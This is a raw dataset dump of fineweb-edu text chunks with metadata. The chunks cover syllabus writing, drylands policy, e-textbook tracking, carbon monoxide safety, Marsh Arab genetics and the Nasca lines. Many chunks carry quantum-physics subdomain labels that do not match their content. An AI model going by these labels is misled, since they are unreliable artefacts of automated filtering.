\u2014 a general description of the course and where it fits into the curriculum. contact information and policies provide at least your name, office number, office phone number, e - mail address, and office hours ( check with your department for office hour expectations ). some faculty also include home or cell phone numbers ; if you do, be certain to indicate the acceptable hours for using those numbers, or you will end up getting calls later in the evening than you would anticipate. also include some guidelines for how soon they can expect replies to e - mail, including during the evening and on weekends ; many students expect near 24 / 7 coverage unless you indicate otherwise. these will likely come from the master syllabus, although some faculty members will also add some additional objectives based on their specific approach to the course. remember that students should be able to match up almost everything you do in the course to one of these objectives. required and recommended texts and supplies be clear about book editions, particularly if there has been a recent revision, since some bookstores may still be selling used copies of previous editions. clarify, too, if students should be buying bundled content \u2014 one section may be using just the textbook, while another might also be using software or a workbook bundled with the text. used textbooks are often not bundled with these extras. it ' s worth a trip to the bookstores to find out if any of these issues exist. provide an overview of how their grade is broken down ( tests = 60 %, term paper = 20 %, etc. ), along with the information they need to calculate their grades ( a = 95 % +, a - = 92 % +, etc. ). if you use grading rubrics or other guidelines for grading individual assignments, consider putting them online and pointing to them from this section of the sylla", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4565828208658875, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.305784"} {"text": "their grades ( a = 95 % +, a - = 92 % +, etc. ). if you use grading rubrics or other guidelines for grading individual assignments, consider putting them online and pointing to them from this section of the syllabus. include any additional policies that impact grading, like extra credit, late work, etc. for more details about developing simple grading systems, see the corresponding teaching tip. attendance policy / lateness / late work include specific rules governing attendance in your class, including the consequences of missed classes ( e. g., reduction of final course grade by x points at each absence over three ). what is your approach to absences due to illness? do you even make a distinction between \" excused \" and \" unexcused \" absences, and do you care about doctor ' s notes? what happens if a student is absent when an assignment is due? what about students who repeatedly show up late for class? it is important to clarify rules here, since you cannot retroactively punish poor attendance if there are no rules in place up front. that said, try to strike a balance here between a thorough policy and a reasonably brief one ; a two - page attendance policy sets a police - state tone for the class. and consider talking to departmental colleagues about their policies ; not only does it help to be consistent within a program, but they also may provide insight into students that will help you craft your rules. some faculty members also like to include a brief rationale for their attendance policy \u2014 something about the important of collaborative learning, in - class group work, impromptu shifts in topic or assignments, etc. including such a statement \u2014 and talking about it in class \u2014 can help reduce the perception that these are just arbitrary rules. for details about attendance policies, see the corresponding teaching tip. academic integrity policy provide a brief statement of the importance of academic integrity in your class, and state the consequences of cheating on tests, plagiarizing papers, etc. if there is any room for misinterpretation of what is acceptable or not ( e. g., collaborating on homework or take - home tests ), make the guidelines clear. point to other documents that clarify these policies, including departmental guidelines and the code of student rights and responsibilities. if you will be assigning term papers, you might want to include a statement here that clarifies what plagiarism is, and that they should as you in advance if they have questions about proper use of sources. rules of conduct this section", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45300266202557726, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.306723"} {"text": "you will be assigning term papers, you might want to include a statement here that clarifies what plagiarism is, and that they should as you in advance if they have questions about proper use of sources. rules of conduct this section is becoming more important as students start bringing more electronic equipment to class. clarify your rules about the use of cell phones, ipods, and laptops in class. you might include a rationale for these rules, including the disruption they cause to other students. you might also include a statement about civility and respect, especially if discussion plays a significant part in your class. if you teach a class with clear professional connections ( nursing, education, etc. ), consider drawing on professionalism for behavioral guidelines. special needs statement ( disability statement ) this is one section where you should use a standard statement provided by the university : if you need adaptations or accommodations because of a disability, if you have emergency medical information to share with me, or if you need special arrangements in case the building must be evacuated, please make an appointment with me as soon as possible. student assistance / tutoring / tips for success many faculty members provide information about available academic resources, such as tutoring in the learning center, supplemental instruction or review sessions, gas available for additional help, etc. some also include additional tips for success that are unique to that class \u2014 maybe a place where previous students have had problems, or an approach that has worked well for previous students. if you teach freshmen, you might also include a reminder that there is counseling help available for students who are dealing with excessive amounts of stress. provide a schedule of assignments and due dates, but emphasize that this is a tentative schedule so you still have some room for adjustment. do your best, however, to keep the dates for exams and major projects unchanged. some faculty members prefer to give out a partial schedule on the first day, allowing them to adjust for the current group ' s needs. in such a case, try to lock in the major due dates, and give out daily assignments two weeks in advance so students can still plan their workload. this section is optional, but some faculty members like to have a tear - off sheet that students can sign and turn in \u2014 something that states that they have read and understood the syllabus. even without such a statement, students are still responsible for understanding class policies listed on the syllabus, but some teachers like the reinforcement that such an affidavit provides.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44078935339686515, "token_count": 504, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.307686"} {"text": "a way of life is feeling the heat international development policies are undermining the long term survival of some of the globe ' s poorest communities, argues masego madzwamuse, iucn ' s regional programme development officer and focal person for southern african drylands. she says the skills and knowledge needed to survive in the world ' s harsh drylands are being sacrificed in the name of progress. the world ' s poorest of the poor live in the toughest areas of the planet - the drylands. these areas all have key factors in common : water is scarce, and rainfall is unpredictable - or it rains only during a very short period every year. drylands cover more than 40 % of the earth ' s surface and are home to more than two billion people. these areas are also home to a disproportionate number of people without secure access to food. why are 43 % of the world ' s cultivated lands found in dry areas? and why have decades of development not led to significant improvements? rather than improving, it would appear that the situation is getting worse, with more frequent droughts, such as those in ethiopia and northern kenya. another important issue that strikes me about drylands is that these areas have been completely neglected despite being the world ' s home of the poor. while one international agreement - the united nations convention to combat desertification ( unccd ) - has been dedicated solely to the drylands of this world, little attention has been paid by the media, development or conservation organisations, or the international donor community. the only time attention is paid is when droughts ( a regular climatic phenomenon in such lands ) are allowed to proceed to famine, which in this day and age can only be the result of political failure. humanitarian and food relief follow the tv headlines, creating more dependencies rather than developing viable and sustainable economies. it is expected that these areas will be hardest hit by climate change in the future. the influential stern review noted that a 3c ( 5. 4f ) increase in global temperature was likely to result in an extra 150 - 550m people becoming exposed to the risk of hunger. the review also said that climate change was likely to result in up to four billion people suffering water shortages. the world ' s drylands are likely to bear the brunt of this gloomy prognosis. in my opinion, the world will only successfully fight poverty and achieve the millennium development goals ( mdgs ) if we pay more attention to these unique ecosystems and learn from the mistakes of the", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4523566110692147, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.314886"} {"text": "to bear the brunt of this gloomy prognosis. in my opinion, the world will only successfully fight poverty and achieve the millennium development goals ( mdgs ) if we pay more attention to these unique ecosystems and learn from the mistakes of the past. this means moving away from a colonially biased view of drylands. it is unfortunately still common to equate drylands with deserts and wastelands, as these areas might not look at first sight very productive, especially during a period of drought. so, what are the ingredients for success in developing the poorest regions of this world? first of all, development interventions need to be adapted to the realities of drylands. crop production, whether rain - fed or irrigated, will always be a limited opportunity. yet the major effort in \" development \" is a green revolution for the desert. has half a century of development not taught us the reality for cultivation in the drylands? livestock is much more suitable to arid environments and more likely to support rural livelihoods in arid regions. for instance, turkana pastoralists of kenya know that livestock is their mainstay, even though they have some of the fastest maturing varieties of sorghum in the world. secondly, we should work with the knowledge and institutional systems of the people who have lived there for centuries. we need to understand why they have complex common property systems for land and resource management that may span and cover very large territories, and guarantee that a variety of stakeholders can use these scarce resources and survive. it is important to also understand why they place more emphasis on livestock than crops. livestock is a better converter of biomass in such harsh lands. we must not sweep aside this knowledge and experience. instead, we should build on those systems and support them with so - called \" modern and scientific knowledge \" to improve productivity and create market opportunities. yet we ignore their complex risk management and resilience enhancement strategies. one classical example has been the numerous efforts to use inappropriate policies to settle nomadic people and restrict their movements. nomadic livestock herding has been a key sustainable survival strategy in the more arid areas. once grass and water become scarce, these communities move with their animals to the next area. thus, they are able to use resources sustainably without leaving themselves exposed to the effects of droughts. while livestock farming in drylands contributes significantly to national economies, most subsidies go to unsustainable ranching projects rather than the small livestock holders. pastoralism is one of the few land use systems that can be compatible with", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4861341651567482, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.317452"} {"text": "effects of droughts. while livestock farming in drylands contributes significantly to national economies, most subsidies go to unsustainable ranching projects rather than the small livestock holders. pastoralism is one of the few land use systems that can be compatible with wildlife conservation. yet where are many of the world ' s national parks? more than 70 % of kenya ' s are in drylands, which includes a number of important dry season grazing areas for pastoralists. dryland peoples depend on the surrounding environment, and they should be able to benefit from conservation through community conserved areas and tourism, rather than having their best lands taken away from them in the name of conservation. thirdly, nature ' s contribution to the survival of the poor needs to be recognised as an important asset. it is nature that provides food, fodder for livestock, construction material for shelter, medicinal plants, emergency food and climate regulation ( shade is highly valued in 40c ). opportunities for sustainable development exist sudan is the world ' s largest producer of gum arabic, a principal ingredient of colas and chewing gum, which stems from a 2, 000 - year agroforestry tradition. and the arid lands of the horn of africa produce the highest quality frankincense and myrrh in the world. in one district in botswana that has an average annual rainfall of just 200mm, dryland ecosystem services contributed $ 190, 000 ( \u00a395, 000 ) to the national income. almost 50 % of this came from wild plants such as the medicinal devil ' s claw. instead of building on this natural capital, development and government interventions tend to replace and disregard them. even worse, they are not reflected in the national gdp figures. as a consequence, most policy frameworks provide incentives for their exploitation rather than their sustainable use. we cannot continue to let the world ' s poor dryland dwellers down. panaceas, history tells us, don ' t work. instead, we need to invest in the innovative and sustainable use of natural assets. this article first appeared on the bbc ' s green room. visit http : / / news. bbc. co. uk / 1 / hi / in _ depth / sci _ tech / green _ room / default. stm", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42345187156114406, "token_count": 454, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.318829"} {"text": "when students read e - textbooks, e - books will be reading students, reports the chronicle of higher education. coursesmart, which sells digital textbooks, will provide \u201c a new tool to help professors and others measure students \u2019 engagement with electronic course materials. \u201d say a student uses an introductory psychology e - textbook. the book will be integrated into the college \u2019 s course - management system. it will track students \u2019 behavior : how much time they spend reading, how many pages they view, and how many notes and highlights they make. that data will get crunched into an engagement score for each student. the idea is that faculty members can reach out to students showing low engagement, says sean devine, chief executive of coursesmart. and colleges can evaluate the return they are getting on investments in digital materials. students will be able to opt out if they don \u2019 t want big teacher monitoring their reading habits, devine said at the educause conference. \u201c we do understand the big brother aspects of it. \u201d while \u201c students need strong academic skills to succeed in postsecondary education, \u201d college readiness includes non - academic skills, behaviors and attitudes, write melinda mechur karp and rachel hare bork, researchers at the community college research center, teachers college, columbia, in inside higher ed. many new students \u2014 especially those who are the first in their family to go to college \u2013 don \u2019 t understand what \u2019 s expected of them. in our recent research, we identified four specific areas \u2014 academic habits, cultural know - how, the ability to balance school and other demands and engaging in help - seeking \u2014 in which college faculty had clear expectations of their students. these expectations differed substantively from those in high school, and while meeting them was critical to college success, they remained largely unspoken. many college instructors think they already clearly articulate their expectations to students, but our research indicates that behavioral expectations must be made far more explicit and precise.... for example, when an instructor asks students to \u201c come to class prepared, \u201d what does she mean? if she means coming to class having completed a reading and being prepared to participate in discussions about it, she can include this expectation in the syllabus, explain it to students from the first day of class, and assign students to write out three questions or observations about the reading to discuss each week. what does it mean to \u201c study hard \u201d for a test? students may not know the difference between studying in high school and college \u2014 unless they \u2019 re told. \u201c educators", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4824255098919156, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.323947"} {"text": "to write out three questions or observations about the reading to discuss each week. what does it mean to \u201c study hard \u201d for a test? students may not know the difference between studying in high school and college \u2014 unless they \u2019 re told. \u201c educators must stop blaming students for breaking rules that they do not know exist, \u201d conclude karp and bork. darrell is a part - time student who does not own a car. every tuesday and thursday, he takes the hour - long bus ride to school. like many students at his community college, he works nearly 30 hours a week while taking three classes. between work, commuting, and attending classes, he is hard - pressed to find time for studying. fortunately for him, though, while taking the bus one morning, he found himself sitting next to one of his fellow classmates, julie. he told her about his frustrations with his schedule and the homework and how he didn \u2019 t feel like he had time to see a tutor. she told him about the many educational sites that can be accessed on the phone. sites like the mobile esl page from athabasca university ( http : / / eslau. ca ) that has online grammar lessons and short self - tests that will help you check your work. she also pointed out that parts of the college \u2019 s own learning management system were accessible by phone. she even had one instructor who was using an electronic textbook that was accessible by smart phones. mobile learning ( often called \u201c mlearning \u201d ) can use smart phones, tablet computers or netbooks, cain writes. instructors can help students study by hosting content that \u2019 s easily accessible to smart phones. \u201c many software packages make mobile - friendly websites out of the box, and many phones have simplified web browsers that help make accessing the information easier. \u201d cain has other suggestions for using smart phones to reach and teach students. college students study less \u2014 a lot less \u2014 than they used to concludes a study by two economists reported in the chronicle of higher ed : in 1961, the average full - time college student spent 40 hours per week on academic work ( that \u2019 s time in class and studying ). in 2003, it was 27 hours. the decline in academic effort wasn \u2019 t explained by students working more hours or by the changing make - up of the student body, the economists wrote. they don \u2019 t have an explanation. erin o \u2019 connor of critical mass guesses at the reasons :... lower standards ( easier a \u2019 s, less reading,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5082154186341953, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.325047"} {"text": "starvation is a state of extreme hunger resulting from lack of food over a long period of time. from a medical standpoint, most agree that human beings can survive for up to eight to twelve weeks without food as long as they have water and some salt, although some people in history have fasted much longer.... reports have revealed that a person with extra body fat can last up to 25 weeks or more without eating food. this is achieved when the metabolism in an obese individual \u2019 s body supplies it with energy as it uses the generous supply of fat storage. starvation as a weapon \" at its peak the warsaw ghetto had 500, 000 people \u2014 about 40 percent of the population of warsaw \u2014 crowded into a space comprising less than 5 percent of the area of the city. a meeting was held in germany by top gestapo officials, including adolf eichmann. this meeting was attended by some of the leading nazi physicians. they had calculated that if the inhabitants of the ghetto received no more than 800 calories of low - protein food per day, the entire population would be dead in nine months \u2014 a simple solution for the destruction of the jews in nazi - occupied poland. thus hunger and starvation were universal throughout the ghetto. however, the nazis had not counted on the ingenuity of the inhabitants. smuggling was rampant by organized groups, often containing children. although many things were smuggled in, including arms, the most important was food. finally, the nazis gave up the idea of starving the population to death [ deciding it ] would take too long. instead they instituted the final solution and deported most of the population to the death camps. at the end an uprising broke out and, to the surprise of the world, lasted many weeks. in the end the nazis destroyed the ghetto, leveling the buildings to the ground and killing the few survivors. \" notes & references - \u2191 health a to z : starvation - \u2191 scientific american : how long can a person survive without food? - \u2191 winick, myron ( williams professor emeritus of nutrition ) 2005 hunger disease : studies by the jewish physicians in the warsaw ghetto, their historical importance and their relevance today. columbia university in the city of new york. accessed april 2008.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5215690986990789, "token_count": 447, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.327572"} {"text": "the u. s. consumer product safety commission is warning storm victims that gasoline - powered generators should not be used indoors, because of the risk of carbon monoxide ( co ) poisoning. deaths from co poisoning have occurred in new england after last week ' s ice storm. cpsc chairman ann brown said, \" if people use gasoline - powered generators indoors, they could die from co poisoning. opening doors and windows or operating fans does not guarantee safety. \" co poisoning from the use of fuel - burning appliances kills more than 200 people each year and sends about 10, 000 to hospital emergency rooms for treatment. others die from co produced while burning charcoal inside a home, garage, vehicle or tent. still others die from co produced by cars unintentionally left running in attached garages. co is a colorless, odorless gas produced by burning any fuel. the initial symptoms of co poisoning are similar to the flu, and include dizziness, fatigue, headache, nausea and irregular breathing. high level exposure to co can cause death. \" cpsc recommends that consumers use gasoline - powered generators outdoors to prevent co poisoning, \" brown said. \" and every home should have at least one co detector that meets the requirements of the most recent underwriters laboratories standard 2034 or the requirements of the ias 6 - 96 standard. \" the u. s. consumer product safety commission is charged with protecting the public from unreasonable risks of injury or death associated with the use of the thousands of consumer products under the agency ' s jurisdiction. deaths, injuries and property damage from consumer product incidents cost the nation more than $ 900 billion annually. cpsc is committed to protecting consumers and families from products that pose a fire, electrical, chemical or mechanical hazard. cpsc ' s work to ensure the safety of consumer products - such as toys, cribs, power tools, cigarette lighters and household chemicals - contributed to a decline in the rate of deaths and injuries associated with consumer products over the past 30 years. federal law bars any person from selling products subject to a publicly - announced voluntary recall by a manufacturer or a mandatory recall ordered by the commission. to report a dangerous product or a product - related injury go online to www. saferproducts. gov or call cpsc ' s hotline at ( 800 ) 638 - 2772 or teletypewriter at ( 301 ) 595 - 7054 for the hearing impaired. consumers can obtain news release and recall information at www. cpsc. gov, on twitter @ onsafety", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.46471026231032364, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.337886"} {"text": "bacteria in liquid culture can be streaked on a plate to obtain individual colonies. it is important for a molecular biologist to work with bacteria that are genetically identical. by streaking for single colonies, one isolated colony will form from a single bacterial cell and thus the colony is genetically identical. one method is to streak bacteria around the petri plate, working in a circle and diluting the bacterial population as you go. the microbiological loop is either flamed, or a new loop is used, at four steps. these are represented by different colors in the figures below. | # 1 = a loopful of bacteria is obtained from a resuspended liquid culture, and a dime to penny sized circle is made on the plate ( black ). # 2 - a second loop is used to make four lines moving out from the circle ( red ). # 3 - a third loop is used to make four more lines which overlap the first four ( blue ). # 4 - a fourth loop is used to make four more lines which overlap the second four ( green ). note that the same loop is used to make the final four lines ( green ). | on this plate, many isolated colonies are seen on the third set of streaks. | return to the virtual lab book table of contents", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5224070879381388, "token_count": 259, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.346107"} {"text": "as far as i can see, the only link between marsh arabs and sumerians presented in this paper comes from dating y - str variation of their major j1 - page08 group using the evolutionary mutation rate, with a divergence time of 4. 5 + / - 2. 6 ky. even if that mutation rate was correct ( it is not ) and the assumptions on which the confidence interval are based were exhaustive ( they are not ), we still have + / - 2. 6 ky leeway to deal with, which spans not only the sumerians but plenty more besides. not to mention that the evolutionary mutation rate is wrongly applied to every case under the sun, and that y - str based age estimation in general has been conclusively shown to be a rather futile exercise. nonetheless, the paper does have value in demonstrating the paucity of j2 and r1 in the marsh arabs compared to the more cosmopolitan general iraqi population : rather than \" sumerian \", it seems that the marsh arabs have rather preserved a more pristine semitic patrilineal gene pool compared to the cosmopolitan iraqi samples that have absorbed pre - arab and pre - semitic population elements. different from the iraqi control sample, the marsh arab gene pool displays a very scarce input from the northern middle east ( hgs j2 - m172 and derivatives, g - m201 and e - m123 ), virtually lacks western eurasian ( hgs r1 - m17, r1 - m412 and r1 - l23 ) and sub - saharan african ( hg e - m2 ) contributions. bmc evolutionary biology 2011, 11 : 288doi : 10. 1186 / 1471 - 2148 - 11 - 288 in search of the genetic footprints of sumerians : a survey of y - chromosome and mtdna variation in the marsh arabs of iraq. nadia al - zahery et al. for millennia, the southern part of the mesopotamia has been a wetland region generated by the tigris and euphrates rivers before flowing into the gulf. this area has been occupied by human communities since ancient times and the present - day inhabitants, the marsh arabs, are considered the population with the strongest link to ancient sumerians. popular tradition, however, considers the marsh arabs as a foreign group, of unknown origin, which arrived in the marshlands when the rearing of water buffalo was introduced to the region. to shed some light on the paternal and maternal origin of this population, y chromosome and mitochondrial dna (", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4847719380254968, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.351049"} {"text": "marsh arabs as a foreign group, of unknown origin, which arrived in the marshlands when the rearing of water buffalo was introduced to the region. to shed some light on the paternal and maternal origin of this population, y chromosome and mitochondrial dna ( mtdna ) variation was surveyed in 143 marsh arabs and in a large sample of iraqi controls. analyses of the haplogroups and sub - haplogroups observed in the marsh arabs revealed a prevalent autochthonous middle eastern component for both male and female gene pools, with weak south - west asian and african contributions, more evident in mtdna. a higher male than female homogeneity is characteristic of the marsh arab gene pool, likely due to a strong male genetic drift determined by socio - cultural factors ( patrilocality, polygamy, unequal male and female migration rates ). evidence of genetic stratification ascribable to the sumerian development was provided by the y - chromosome data where the j1 - page08 branch reveals a local expansion, almost contemporary with the sumerian city state period that characterized southern mesopotamia. on the other hand, a more ancient background shared with to northern mesopotamia is revealed by the less represented y - chromosome lineage j1 - m267 *. overall our results indicate that the introduction of water buffalo breeding and rice farming, most likely from the indian sub - continent, only marginally affected the gene pool of autochthonous people of the region. furthermore, a prevalent middle eastern ancestry of the modern population of the marshes of southern iraq implies that if the marsh arabs are descendants of the ancient sumerians, also the sumerians were most likely autochthonous and not of indian or south asian ancestry.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5029492446404227, "token_count": 352, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.351755"} {"text": "download full text ( 938 kb ) to understand the climate variability and weather prediction in the earth \u2019 s atmosphere, measurements of winds, temperature and wave activities are very crucial. the earth \u2019 s atmosphere is believed to act as a source and sink for the waves of a broader spectrum with periods from few seconds to years. generally, the earth \u2019 s atmosphere is stably stratified except the planetary boundary layer and thus makes a reasonable assumption for the presence of atmospheric waves. a barotropic atmosphere in a resting basic state is able to support these spectra of waves. these waves move diagonally upward or downward and horizontally. the mean zonal circulation is mainly driven by these atmospheric waves, which are believed to be generated in the troposphere and propagates horizontally and vertically in to the middle and upper atmosphere. these waves transport energy and momentum from one region to another without the transport of material medium thereby impinging the signature of the source region on to the sink region. the waves propagating in earth ' s atmosphere are expected to be both anisotropic and dispersive. the anisotropic characteristics of these waves mean that the properties of the waves are not uniform in all the directions. the propagating waves can be characterized by the amplitude and phase, which depends on time and space. when the wave frequency depends on the wavelength ( 2 / k ) then the wave is dispersive. for such waves the group velocity is different from the phase velocity. a better understanding of the vertical coupling by these wave activities will provide a deeper insight into the processes that control the dynamics and energetics of the whole atmosphere. modern climatology, whole system, historical statistics, variability, atmosphere, prediction climate | earth sciences", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5594635776231196, "token_count": 351, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.355222"} {"text": "david johnson is a man in a hurry. carrying a battered leather shoulder bag and sweating profusely in the searing desert heat, he chatters nonstop as he scrambles up a stony, barren hill in the nasca region of southern peru. johnson, a retired high school social studies teacher from poughkeepsie, new york, thinks he has discovered the secret behind one of the world ' s most enduring archaeological mysteries, and he can ' t wait to show off how he got the idea. he tops the hill and stops, sets his feet, purses his lips, and hitches up his pants with his elbows to signal he is ready to make his point. the sun is low, the shadows sharp. johnson steps aside theatrically. \" that ' s what i saw, \" he announces, and points. below, a parched pampa, or desert, stretches southward for miles toward a distant peak in the andes mountains. on the valley floor, a gigantic geometric figure a trapezoid hundreds of feet long and some 30 yards wide has been precisely drawn in lines of piled stones, the open center looking as if it has been swept clean. extending from the trapezoid, two perfectly straight lines of stones shoot southward toward dark clefts in the faraway peak. johnson claims the clefts are geologic faults that collect precious runoff water from the mountains and feed natural underground aquifers that course through the desert valley. \" right here, i sat down and said, ' my god, i know what the lines of nasca mean! ' \" he says. \" they ' re tracing underground water sources! \" johnson ' s companion, steve mabee, removes his bush hat to wipe away sweat as he gazes in wonder at the enormous trapezoid, one of more than 1, 000 enigmatic ground drawings that cover 400 square miles of the bone - dry and sparsely populated nasca region near peru ' s southern coast. created between 200 b. c. and a. d. 1000 by desert dwellers who left no written record of their culture, the nasca lines are a mystifying mosaic of straight lines, sprawling geometric forms, and cartoonlike animal figures. ever since peruvian archaeologist toribio mej \u2019 a xesspe happened upon the lines as he hiked the desert hills in 1927, scientists and curiosity seekers have puzzled over the ground drawings and offered explanations that range from the fanciful ( a huge astronomical calendar ) to the ludicrous ( landing strips for alien spaceships ). mabee, a", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47251404522787965, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.376535"} {"text": "or both scientists who have sifted through fragmentary archaeological evidence suggest the straight lines and geometric forms marked an intricate network of pathways for pilgrims to walk on in their quest to communicate with mountain deities associated with weather and water. after decades of wild speculation, an evocative picture is finally beginning to emerge of a vanished culture that left behind one of the greatest archaeological wonders of the world. driving across the pampa san jose, 250 miles south of lima on the pan american highway, a modern visitor to the nasca region sees little but dreary low hills and wind - carved dunes littered with pebbles and stones. but \" fly the lines \" in a little twin - engine plane steeply banked for photographs, or climb a hill in late afternoon when the shadows are starkest, and some of the ancient ground drawings pop into view. nasca lines come in two types : biomorphs and geoglyphs. the charming biomorphs, some 70 plant and animal figures including a 1, 000 - foot pelican, a 150 - foot spider, and a 360 - foot monkey with an extraordinary spiral tail appear almost whimsical. the 900 or so geoglyphs, those rigorous straight lines and geometric forms triangles, zigzags, spirals, circles, trapezoids have a pragmatic feeling about them. many are enormous : the largest trapezoid covers 160, 000 square yards ; the longest line shoots nine miles straight across the desert. nasca people made the ground drawings on the desert centuries ago by clearing away darkened pampa stones to expose the pale sand beneath, piling the stones around the margin to create an outline a few inches high. a relatively small group of people could easily have sketched the long, straight lines by eye and moved the stones, smaller than footballs, by hand. the ground drawings aren ' t the only large - scale archaeological marvels the nasca people left behind. ancient aqueducts ring the arid pampa. these aqueducts, called puquios, are a vast system of channels, in some places 30 feet deep and a half - mile long, carefully lined with cobblestones. katharina schreiber, an archaeologist at the university of california at santa barbara, descended into the puquios to explore their construction and concluded that these man - made waterways and the most prominent straight lines on the pampa were constructed around the same time the sixth century a. d., which, coincidentally, was also the time of a big drought.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49307065738237754, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.380752"} {"text": "helaine silverman, an archaeologist at the university of illinois at urbana - champaign, begged her colleagues at a 1999 conference on nasca research to \" keep an open mind \" while steve mabee gathered data to test johnson ' s theory. during three nasca area field trips, mabee has found strong evidence that alternative water sources exist, often just where johnson said they were. he took water samples from rivers and from higher up on the valley walls at faults and springs ; he compared their chemical signatures to see if they could possibly have different sources. \" in all cases, the conductivity, salinity, and temperature are different from that of the river. some of the water seems to come from the sides of the valleys, where the faults are, and not from the river. \" and in all the cases he tested, the faults were marked by geoglyphs. skeptics argue that so far johnson and mabee have gone about things backward. \" johnson has sought data only to support his ideas, rather than trying to disprove the negative, \" says schreiber. in other words, he finds a fault, then finds a trapezoid that points to it rather than vice versa. \" i think johnson is right about some things, but not to the extent he claims, \" she adds. \" his suggestion that faults direct water into the valley is correct in several instances. it does not, however, explain the sources of water of all the puquios. \" six of the 39 puquios schreiber has studied \" seem to derive their water from sources on the valley sides, \" she notes. \" most of the rest begin right at, or under, the riverbed, indicating to me that an underground river is the primary source of water. \" in the view of schreiber and other experts, the very intricacy of the nasca lines seems to mock a theory as straightforward and pragmatic as johnson ' s. many of the lines cross, crisscross, and recross ; one image is superimposed on another as if later builders had utterly dismissed the value of previous work. \" it ' s a bit of a rorschach test, \" says schreiber. the rorschach test led obsessive nasca aficionados during decades past to fantasize that the biomorphs and geoglyphs were a giant astronomical calendar or map. this astronomical explanation has since been largely discredited ( see \" written", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5123795707855147, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.383072"} {"text": ", \" or a hierarchy. a ceque system imposed order on life : roads radiated from cuzco in the same way that 41 imaginary lines radiated from the temple of the sun \" the navel of the universe \" embodying the incan worldview and symbolically binding together the social, economic, and religious life of the people. aveni ' s ray - center analysis, combined with circumstantial evidence accumulated by various archaeologists and anthropologists, now leads prominent nasca experts to conclude that the lines served sacred purposes. the lines were meant to be walked and, most experts agree, led people to the ray centers and nearby trapezoids for water - connected rituals. aveni and others can only speculate about what the exact nature of those rituals might have been. \" i imagine different clans assembling in different places, walking different lines, maybe at different times, \" he says. seen in a particular way, walking is an \" acting out \" of space ; perhaps the people walked where they wished the water to flow : come this way. \" there are fossil pathways on the lines, and they probably had specific, ritualistic walking : go this way, turn left or right, fathers go that way, brothers the other way, face the sun, and so on. people went to one hell of a lot of trouble to build these lines, so whatever their rituals were, they must have been deeply believed. i ' m seeing a dedication of purpose by a very inventive people. \" david johnson steps over bright shards of broken pottery and walks past an ancient plundered grave. with the certainty of faith, he has vowed to keep walking the nasca lines until he proves his own theory. he has already inspected 250 archaeological sites, he says, some of them 50 to 60 feet higher than the adjacent river and farther upslope than archaeologists might logically seek human habitation. he points out a circle of stones. \" where there are geoglyphs, \" he says, \" in every case there also appears to be an archaeological site, geologic faults, and a source of freshwater. \" steve mabee is not so quick to jump to conclusions. \" dave paints this glorious picture, \" he says. \" but we don ' t see the evidence yet. \" his next step could establish statistically whether johnson is on the right track. with graduate student gregory smith, mabee will mark every verified water source in nasca valley on a map, then overlay a map of the geoglyphs", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5214721714165227, 